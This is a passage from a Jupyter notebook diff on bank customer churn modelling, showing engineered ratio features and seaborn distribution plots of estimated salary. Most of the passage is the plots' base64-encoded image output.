dc_test.Balance/(dc_test.NumOfProducts + eps)\n", + "dc_test['bal_by_est_salary'] = dc_test.Balance/(dc_test.EstimatedSalary + eps)\n", + "dc_test['tenure_age_ratio'] = dc_test.Tenure/(dc_test.Age + eps)\n", + "dc_test['age_surname_mean_churn'] = np.sqrt(dc_test.Age) * dc_test.Surname_enc" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "ZIa-I1CNpEw8" + }, + "source": [ + "### Feature scaling and normalization" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 314 + }, + "id": "ftyNoRYRpEw9", + "outputId": "ea754aee-a88f-4775-ed25-303278259956" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 66 + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
" + ], + "image/png": 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9YPB7qdPGepRV2ni0T3SZcjLjcOSUBS1tHVKX4nUY/F7qi0MmBClkmDiaJ3WJLkdWZhzaOhw4erpa6lK8DoPfS+05ZsaI9BhoQpVSl0Lkk0amRyNEpWC7pwcMfi9krGpEucWGCcPjpS6FyGcpgxQYkR6Dw6d4xP9dDH4vtPeYGQCQw+AnuiKjBsWg3GJDTUOz1KV4FQa/F9pzzIyBiRGIjVRLXQqRTxs1KAYAcIR9/m4Y/F7G1tyOk2drkTMsTupSiHzegIQIaEKVPMH7HQx+L5NfVA2HCIwZrJe6FCKfJ5fLMHJQDA4z+Lth8HuZw6csCFYpkJEaJXUpRH5h9KAYVNU2wVxjl7oUr8Hg9zKHT1Vj+IBoKIO4a4hcYdjAaADAibO1ElfiPZguXqTW2oKyykbnCSkiunIp8VqoQ4JwopjB34XB70WOnLIAAEazv0/kMgq5DBkpkTziP4/Hg3/16tXIyMhAYWGhp1ft9Y4V10IdEoQBiRFSl0LkVzLTolBitsLe3C51KV7Bo8F/7NgxHDp0CImJnH+mJyfP1mJoahQUcl5pi8iVMgdEQRSBgtI6qUvxCh4L/ra2NixfvhxPP/10r/exWq0wGo3d/pnNZk+VKCl7cztKzFYMTeNoHiJXG5ISCbkM7POfE+SpFb3yyiuYM2cOkpKSer3Phg0bsHr1ak+V5FUKSusgikBmWqTUpRD5HXWIEmmGCJwsYfADHgr+gwcPIj8/H4888shF77dgwQLMmzev221msxl5eXnuLM8rnDxbC7ms88iEiFxvcIoOXx0xQRRFyGSB3U71SPDv27cPRUVFmDp1KoDOMP/Rj36E3/3ud5g0aZLzflqtFlqt1hMleZ0TZ2uRatBCHcJpmIncYVCSDh/vLkFlbVPAX9XOI8G/aNEiLFq0yPl9bm4u1q5diyFDhnhi9V7P4RBRUFKH66/qvQ1GRFdmcLIOAHCqtD7gg5/j+L1AucWG5tYOtnmI3CjVoIUySI7CMo7s8djJ3fPt3LlTitV6rdPGegDAoHNHJETkekEKOQYmRDj/3gIZj/i9wGljPVRKBZJjNVKXQuTXBifrUGSsh+AQpS5FUgx+L1BkbMDABC0UCu4OIncalKxDc6uA8qpGqUuRFJNGYg6HiDPl9RiUpJO6FCK/l37u7+yMySptIRJj8Eus88Su4HxCEpH7JMVqEKSQo7i8QepSJMXgl1gRT+wSeUyQQo5UQzjOmBj8JKGi8gaoguQ8sUvkIQMTIlBsaoAoBu4JXga/xIpNDUg18MQukacMSIhAg60NdY2tUpciGaaNhERRRLHJijRDYE5TQSSFAQmdf29nArjPz+CXUH1jK6z2NqQlMPiJPGVAQueFjooDuM/P4JdQcUXnkLIBBl5xi8hTwkKViItSo4hH/CSFs+fGEvOIn8iz0gxalJoDdyw/g19CZysaEBMRgnC1SupSiAJKSnw4TBY72jscUpciCQa/hIpNVqQlsM1D5GkpceEQHCJMFpvUpUiCwS+RDsEBY1UjR/QQSSAlvvPvrtQcmHP2MPglYrLY0CGISI0Pl7oUooCTGKuBXAaUVjL4yYPKqjrfYibFMfiJPC1YqUBcdBhKKwPzBC+DXyLGc0caSXpO1UAkhZS4cLZ6yLPKKm2IjQxFSLAkF0EjCngp8eEwVdvR3iFIXYrHMfglUlbVyDYPkYRS4rVwOESYLHapS/E4Br8EHA4RxiobkmMZ/ERS6RpYEYjtHga/BCz1zWhrF5Acx/4+kVQS9Z0je0oC8AQvg18CZV0ndnnETyQZlVKB+Ogw599jIGHwS6DriZbMHj+RpFLiA3NkD4NfAmWVjYjQqKAN4xw9RFJKidcG5MgeBr8EjFU2tnmIvEBKXDgcDhHlATayh8HvYaIooqyykW0eIi+Qcm5kT1mAtXsY/B5Wb2uFrbmdF1cn8gKBOrKnz8G/Y8cOdHR0uLOWgGCs5Bw9RN5CpVTAEBMWcCd4+xz8r776KiZNmoTly5fj8OHD7qzJr5VVnRvRwx4/kVdIjgsPuCGdfQ7+zZs3Y/369QgODsZDDz2EGTNm4PXXX4fRaHRnfX6nrLIRocEKxOhCpC6FiNDZ7jHX2CEIgXM1rn71+IcOHYrHH38c//vf//DUU0/ho48+wg033IC8vDxs3rwZDkfg/OIul7HShsTYcMhkMqlLISIASbEadAgiKuuapC7FY/o9NWRpaSk2b96MzZs3QyaT4eGHH4bBYMDGjRuxfft2rF69usef++lPfwqj0Qi5XA61Wo0nn3wSmZmZV7wBvqasqhGjBsVIXQYRnZOo72y7llfZkBATGIMu+hz8GzduxKZNm1BSUoIbb7wRL7zwAsaMGeNcPmPGDFxzzTW9/vzKlSsRHt75C96xYweWLl2Kf//735dfuQ9qamlHTUMLh3ISeZHEcyPsyi025Ehci6f0Ofg/++wzLFy4EFOnToVKdeEnTkNDQ/Haa6/1+vNdoQ8ANpstIFsd5ecu7JzEoZxEXkMbpkK4WgljVeBceL3PwT9u3DjceOONF9y+bt06LFy4EAAwadKkiz7GE088gS+//BKiKOKtt966YLnVaoXV2n08rdls7muJXq9r3u9AeTtJ5CsS9ZqAmpe/z8G/Zs0a/OhHP7rg9jfeeMMZ/Jfy7LPPAgA++OADvPDCC/jTn/7UbfmGDRt6PUfgD0znjvjjY8IkroSIzpcYq8HBgiqpy/CYSwb/119/DQAQBAG7d++GKIrOZUajEWFh/Q+xW265Bb/5zW9QV1eHyMhI5+0LFizAvHnzut3XbDYjLy+v3+vwRqZqO/SRoQhWKqQuhYjOk6jX4JN9ZWhqaYc6RCl1OW53yeB/4oknAABtbW1YunSp83aZTAa9Xo9ly5ZdciV2ux1WqxUGgwEAsHPnTkRERECn03W7n1arhVar7U/9PsVUbUMCj/aJvE7SeSd4BydHXuLevu+Swb9z504AwGOPPYYXXnjhslbS3NyMn/3sZ2huboZcLkdERATWrl0bUCd4RbFzBsDrxiRKXQoRfUei/lzwVzH4u7nc0AeAmJgYvPfee5f98/7Aam+DvbkdCXoe8RN5G0NMGOQywGgJjJE9Fw3+G2+8ER9++CEAYPLkyb0eoe/atcvlhfmbiupzI3r0HNFD5G2UQQrERqkDZmTPRYP/mWeecX794osvur0Yf2aq7jySYI+fyDsl6jUoD5Cx/BcN/uzsbOfX48aNc3sx/sxksUMuA+KiGPxE3igxVoP8MzVwOETI5f59/rHPk7StW7cOJ06cAAAcOnQI119/PXJzc3Hw4EG3FedPTNV2xEapoQzitW+IvFGSXoPWNgE1DS1Sl+J2fU6h9evXIykpCQDw+9//Hvfccw/uv/9+PPfcc24rzp+UW2zs7xN5sa6/z3KL/8/N3+fgb2xsRHh4OGw2GwoKCnDXXXfh1ltvRXFxsTvr8wuiKKKCY/iJvJpzLH8A9Pn7PJzTYDDgwIEDOH36NLKzs6FQKGCz2aBQ8FOol1Lf2IrmVoFz9BB5sShtCEKDFSiv9v+RPX0O/sceewwPP/wwVCoVXn31VQDAp59+ipEjR7qtOH9hcg7l5BE/kbeSyWRICJCRPX0O/smTJ+OLL77odtvMmTMxc+ZMlxflb7qmY05kj5/IqyXqNThZUid1GW7XrytwNTY2ori4GHZ797dCV199tUuL8jcmiw1BChn0ulCpSyGii0jUa/D5oXK0dwhQBvlvG7vPwf+vf/0Ly5cvh1qtRkjItxcKl8lk+OSTT9xSnL8wVdsRFxUGhYJDOYm8WYJeA1Hs/KR9Srz/ThjZ5+B/+eWX8corr2Dy5MnurMcvVVTb2d8n8gGJ5/5Oyy3+Hfx9PgQVBOGSV9iiCzkcIkwWG/v7RD6ga+Sdyc8na+tz8N93331444034HA43FmP36lpaEFbh4Nj+Il8QFioEjpNsHNAhr/qc6tn/fr1qK6uxltvvXXBBVQ4O2fvvp2cjUf8RL4gQR/mHILtr/oc/Jyd8/J0PYEM7PET+YREvQb7TlRKXYZb9Tn4OTvn5TFZbFAFyRETwaGcRL4gQa9B/d5Sv77+bp97/G1tbXj55ZcxdepUZGVlAQC++OIL/PWvf3Vbcf7AZLF3Xt3Hz6d5JfIXXSN7/PmiLH0O/ueeew6FhYV46aWXnFfiGjx4MN555x23FecPTNWclZPIl3w7S6f/nuDtc6tnx44d2L59O9RqNeTyzteLuLg4VFb6dy/sSggOEeYaO8YPj5e6FCLqI0N0GGQy/x7S2ecjfqVSCUEQut1WW1t7wQgf+palrgkdgsgjfiIfolIqoI9Uo5ytns4J2R5//HGUlZUBAKqqqrB8+XLMmjXLbcX5uq4eIcfwE/mWhJgwlFfziB+/+MUvkJycjDlz5sBqtWLGjBnQ6/V44IEH3FmfT3OO4ecRP5FPSdRrUGGxQRRFqUtxiz73+EtLSzFgwAD85Cc/gSAImDZtGjIyMtxZm88zVdsRGqxAZHiw1KUQUT8k6MNgb+lAg60NOj/8+71k8IuiiKVLl+KDDz5AfHw8YmNjUVlZiTVr1mDu3Ll47rnnnKN8qDuTxQZDtIa/HyIfk3jeyJ6ADP53330Xe/fuxbvvvotRo0Y5bz9y5Ah+9atf4e9//zt++MMfurVIX2Wy2DEoWSd1GUTUT13Bb7LYMHxgtMTVuN4le/ybNm3CsmXLuoU+AIwaNQpLly7Fpk2b3FacL2vvcKCy1s4Tu0Q+SB+pRpBC5rdj+S8Z/EVFRcjJyelxWU5ODoqKilxelD+orLXDIfLELpEvUshlMMT472Rtlwx+QRCg0fQcXhqNhtM096JrKGciJ2cj8kkJMRq/PeK/ZI+/o6MDu3fv7nVY03c/1EWdup4wPOIn8k0Jeg0OFFTB4RD9bq6tSwZ/dHQ0li5d2uvyqKgolxbkL0zVdoSrVQhXq6QuhYguQ6I+DO0dDlTXNyM2Si11OS51yeDfuXPnFa+krq4Ojz32GEpLS6FSqZCamorly5f79YtG5+UW2eYh8lXnT9bmb8Hf50/uXgmZTIYf//jH+Pjjj7FlyxYkJyfjpZde8sSqJVNu4aycRL7s/CGd/sYjwa/T6TB+/Hjn92PGjIHJZPLEqiXR0tqBmoYWJPCIn8hnRYYHIzRYgXI/HNnT5ykbXMXhcOCdd95Bbm7uBcusViusVmu328xms6dKc5mKmq4RPTziJ/JVMpkMCXr/HNnj8eB/5plnoFarceedd16wbMOGDVi9erWnS3K5ricKg5/ItyXGaFBYVid1GS7n0eBfuXIlSkpKsHbtWufFXM63YMECzJs3r9ttZrMZeXl5nirRJbqC3xDNVg+RL0vQa/DF4XK0dzigDPJIZ9wjPBb8q1atQn5+Pt58802oVD0PcdRqtdBqtZ4qyW1MFjuiI0IQEuzxN1RE5EIJ+jA4RMBcY0dyXLjU5biMR5Lp1KlT+OMf/4i0tDTcfvvtAICkpCSsWbPGE6v3uM6hnGzzEPm680f2MPj7afDgwSgoKPDEqrxCucWOiaMTpC6DiK6Qv1543X+aVl6isakNjU1tnJWTyA9oQpXQhQejrJLBTxdh4ogeIr+SHBuOsqpGqctwKQa/i5V3XWCdH94i8gtJcRoYKxv96vq7DH4XM1XbIJcBcVEMfiJ/kBwbDntLB+obW6UuxWUY/C5mstgRFxXmV2N+iQJZclxn29af2j1MJxcrr7KxzUPkR7qGcfrTCV4GvwsJDhHGqka/Gu9LFOiitCEIDQ6CsZJH/NQDS10T2jocDH4iPyKTyZAcp2Grh3pWeu6IIIXBT+RXkmLD2eqhnpWZO4M/icFP5FeSYjWotbbA3twudSkuweB3obKqRkRpg6EJVUpdChG5UFf71ugn7R4GvwuVVfLELpE/8reRPQx+FxFFEWWV/jWDHxF1io9SI0gh5xE/dVfT0ILm1g4GP5EfUijkSNCH8Yifuusa0cPgJ/JP/jRZG4PfRco4lJPIryXFaVBZY0dbuyB1KVeMwe8iZZWNCFerEKEJlroUInKD5NhwOETAVG2XupQrxuB3kbLKRqTE82ifyF99O7LH99s9DH4X6BzRw6GcRP4sQR8GmYzBT+c02NrQ2NSO5FhedYvIX4WoghAfHYYSs1XqUq4Yg98FyjiihyggpBm0KKlg8BPOm5yNPX4iv5Yar0VFtR0tbR1Sl3JFGPwuYKxsRGhwEKK0IVKXQkRulJaghUP0/T4/g98FSisbkRIXDplMJnUpRORGaQYtAPh8u4fBf4VEUUSJ2co2D1EAiI8Og0qpwNkKHvEHtLrGVjTY2pCWoJW6FCJyM4VchpQ4DY/4A12xqQEAMCAhQuJKiMgT0gwROMvgD2zFps4nwAADj/iJAkFaghb1tlbUWVukLuWyMfivULGpAfrIUGjUKqlLISIPGJjY+e6+qLxB4kouH4P/ChWbrBhgYJuHKFAMTOgK/nppC7kCDP4r0NYuoNxiwwCe2CUKGGGhShiiw3CGR/wXt3LlSuTm5iIjIwOFhYWeWKVHlJob4XCIPLFLFGAGJkWgyMjgv6ipU6di48aNSExM9MTqPOaMc0QPj/iJAkl6YgQqa5tga2qTupTL4pHgz87OhsFg8MSqPOp0WT3CQjpn7COiwJGeqAPw7cGfrwmSuoDzWa1WWK3dx8eazWaJqrm0U8Z6pCfpIJdzqgaiQOIc2WNswKhBeomr6T+vCv4NGzZg9erVUpfRJ+0dAs6aGjD3unSpSyEiD9OFByMmIgSnyuqlLuWyeFXwL1iwAPPmzet2m9lsRl5enkQV9e5shRUdgojByZFSl0JEEhiSGomC0jqpy7gsXhX8Wq0WWq1vnCg9fe6VflCyTtI6iEgaGSlR+OpIBeobW6ELD5a6nH7xyMndFStW4LrrroPZbMbChQsxa9YsT6zWrU6V1UMbpkJsZKjUpRCRBDJSO9/tF/rgUb9HjviXLVuGZcuWeWJVHnOqrB6DknWcg58oQKUnRUAul6GgtA7jhsdLXU6/8JO7l6GppR2lZisyUtjfJwpUIaogpBm0KCiplbqUfmPwX4aTJXVwiEBmWpTUpRCRhDJSI3GqrB4Ohyh1Kf3C4L8MJ4prIZd92+MjosA0NDUKTS0dKDH71vz8DP7LcLy4BmkJEVCHKKUuhYgkNGJgNAAgv6hG4kr6h8HfT4LgQGFpHYaxzUMU8GKj1IiNDEX+mWqpS+kXBn8/FZusaGkTkDmAwU9EwPCB0Th2pgai6Dt9fgZ/P+Wf6XxLl5kWLXElROQNRqTHoMHWBmOVTepS+ozB30+HT1mQEBMGPT+4RUQARqR39fl9p93D4O+H9g4H8ouqMWaI783GR0TuYYgOQ3RECA6fZvD7pcLSOrS0CQx+InKSyWS4KiMWhwotEASH1OX0CYO/Hw4WVkEuA0b64PzbROQ+WUPjYG9ux8kS35i3h8HfD4cLLRicHAlNKMfvE9G3Rg/RQy6X4ZuTlVKX0icM/j5qsLWisLSObR4iuoAmVImhqZH45mSV1KX0CYO/j/YdN8MhAhNG+N+1g4noymUNjcOZ8gbUWlukLuWSGPx9tDvfjBhdKNKTIqQuhYi80PgRnVMzf33EJHEll8bg74OW1g4cLKjChBHxnH+fiHqUGq9Fclw4vmDw+4cDBVVo63Dg6pFs8xBR764dnYBjZ2q8vt3D4O+DXQeMiNCoMHwAp2kgot5NHJ0AUQS+8vKjfgb/JTTYWrHvuBlTspKhUPDXRUS9S4nXIjU+HJ9+UyZ1KRfFJLuE/x00okMQMTUnRepSiMgHTB+fisLSepwpb5C6lF4x+C/hk31lGJQUgTSDVupSiMgH5GYnQxUkx0dfn5W6lF4x+C/ieHENzpQ34IbxqVKXQkQ+QqNWYdKYROw6UIamlnapy+kRg/8i/vXpaYSrVcjNTpa6FCLyIbMmDkBzq4CPvi6RupQeMfh7UVbZiD3HzJg9aQBCVEFSl0NEPmRISiTGDNHj37tOo6WtQ+pyLsDg78XftxdApVRg1sQBUpdCRD7o9hsyUG9r9cqjfgZ/D44X1+CzQ+X43vWDEKEJlrocIvJBwwdGY/TgGLy3owANtlapy+mGwf8dgkPEnzblI0obgu9PGSR1OUTkw+67ZSSaWjqwfutxqUvphsH/Hf/4pBCny+px783DERLM3j4RXb7UeC1umZyOHftKcaDAe6ZsZvCf53hxDf62vQCTxybhurGJUpdDRH7g9ukZSI0Px0t//QZVdU1SlwOAwe9UarZixV/2IjYyFPd/fxRn4SQilwhRBeHX94yD4HDgmT/vgdXeJnVJDH4AKDY14Mk/fo0ghQy/XXQ1wnhpRSJyoUS9Bo/fnYNyiw3L1n6JOoln7wzo4BdFEZ/sK8Wjr30OmQxY/pNrkBCjkbosIvJDV2XEYtm941FusePhVbtwUMKev8eCv7i4GLfddhtmzJiB2267DWfPnvXUqi8giiIOFVbh169/iT/8/SAGJenw8s8ncz4eInKrqzJisepn10ETqsRv3vwaz63fi9Nl9R6vw2PDVp566inccccdmDt3LjZt2oTf/OY3ePvttz2yblEUUdfYiiJjPY4W1WB3fgUqqu3QhQfjwVtH44ZxqZDL2dMnIvdLNWjxh19ej03/K8I/dhbi66MVGJCgxbjh8RiaGoU0gxbRESFuPc/okeCvqanB8ePHsW7dOgDA7Nmz8cwzz6C2thZRUVHO+1mtVlit1m4/W15eDgAwm839Xu9/95bis4NGVNe3oL1DAADI5TJkpkVh2lQDxg2PR5BCDpOp/HI3jYjoslwzVI2xaSPwdX4F9h4zY+PmsxDFzmWhIUrERIRgSEokfjg947IevyszBUG4YJlHgr+iogJxcXFQKBQAAIVCgdjYWFRUVHQL/g0bNmD16tU9PkZeXp7L6ikCsNVlj0ZE5B6fAXhr5ZU9hsViQWpq9xmGveoTSgsWLMC8efO63dbW1oaysjKkpaU5Xzh8jdlsRl5eHjZu3Ij4+Hipy3Erbqt/4rb6HkEQYLFYMGLEiAuWeST4DQYDKisrIQgCFAoFBEFAVVUVDIbuFy/XarXQai88wTpw4EBPlOl28fHxSEpKkroMj+C2+iduq2/57pF+F4+M6omOjkZmZia2bu1ssGzduhWZmZnd2jxEROQZHmv1PP3001iyZAlef/11aLVarFx5hY0rIiK6LB4L/vT0dLz//vueWh0REfUioD+56ylarRYPPvhgj+cv/A231T9xW/2LTBS7Ro4SEVEg4BE/EVGAYfATEQUYBr+bedPkdH2Vm5uLmTNnYu7cuZg7dy4+//xzAMChQ4cwZ84czJgxA/feey9qamqcP+OOZe6wcuVK5ObmIiMjA4WFhc7bL7afPL3ME9vb2z4GfHM/19XV4b777sOMGTNw880348EHH0Rtba0k2+Pp5/RlEcmt7rrrLvGDDz4QRVEUP/jgA/Guu+6SuKJLmzJlilhQUNDtNkEQxGnTpon79u0TRVEU16xZIy5ZssRty9xl3759oslkumAbL7afPL3MlXrb3p72sSj67n6uq6sTd+/e7fz++eefF3/96197fHukeE5fDga/G1VXV4tZWVliR0eHKIqi2NHRIWZlZYk1NTUSV3ZxPYXC4cOHxVmzZjm/r6mpEceMGeO2Ze52/jZebD95epkntren77v4y37+6KOPxAULFnh8e6R8TveHV83V42/6OjmdN3rkkUcgiiKysrLwy1/+EhUVFUhISHAuj4qKgsPhQH19vVuW6XQ6j2wncPH9JIqiR5d58nnx3X2s1Wr9Yj87HA688847yM3N9fj2eMtz+lLY46cLbNy4EZs3b8Y///lPiKKI5cuXS10SuZg/7+NnnnkGarUad955p9SleC0GvxudPzkdgF4np/M2XfWpVCrccccdOHDgAAwGA0wmk/M+tbW1kMvl0Ol0blnmSRfbT55e5sltBrrv467bfXk/r1y5EiUlJfjDH/4AuVzu8e3xluf0pTD43cgXJ6drampCY2MjgM4rl23btg2ZmZkYMWIEWlpasH//fgDA3//+d8ycORMA3LLMky62nzy9zBN628eAe/alp/bzqlWrkJ+fjzVr1kClUkmyPd7ynL4UfnLXzYqKirBkyRJYrVbn5HTePM10WVkZHnroIQiCAIfDgfT0dCxbtgyxsbE4cOAAnnrqKbS2tiIxMREvvvgiYmJiAMAty9xhxYoV2L59O6qrqxEZGQmdTof//Oc/F91Pnl7m7u1du3Ztr/sYcM++dPd+PnXqFGbPno20tDSEhIQAAJKSkrBmzRqPb4+nn9OXg8FPRBRg2OohIgowDH4iogDD4CciCjAMfiKiAMPgJyIKMAx+8nn79+/HjBkzpC6jR3v27MF1113nksfKzc3FV1995ZLHosDG4CdJ5ebmYtSoURg7dqzz36WmD8jIyEBJSYnz++zsbHz88cduqW/JkiV4+eWXXfZ4+/fvx+23346srCyMGzcOt99+O44cOeKyxyfqC07SRpJbu3YtrrnmGqnLcDubzYbFixfj6aefxo033oj29nbs37/f+SlTd+no6EBQEP/U6Vs84ievVFJSgjvvvBNZWVkYP348fv7znwMA8vLyAABz587F2LFjsW3btgvaKbm5uXjrrbdw8803Y8yYMVi6dCmqq6vx4x//GGPHjsU999yDhoYG5/0ffvhhTJw4EVlZWcjLy8OpU6cAAO+++y62bNmCP//5zxg7diwWL14MAKisrMRDDz2ECRMmIDc3F2+//bbzsVpaWrBkyRLk5OTgpptuwtGjR53LiouLAQCzZ8+GQqFASEg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\n" + }, + "metadata": {} + } + ], + "source": [ + "### Demo-ing feature transformations\n", + "sns.distplot(dc_train.EstimatedSalary, hist=False)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 303 + }, + "id": "hthKpC6VpEw9", + "outputId": "0bc8a9ce-aecb-4cc1-8af4-ae1dba9eb42b" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 67 + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
" + ], + "image/png": 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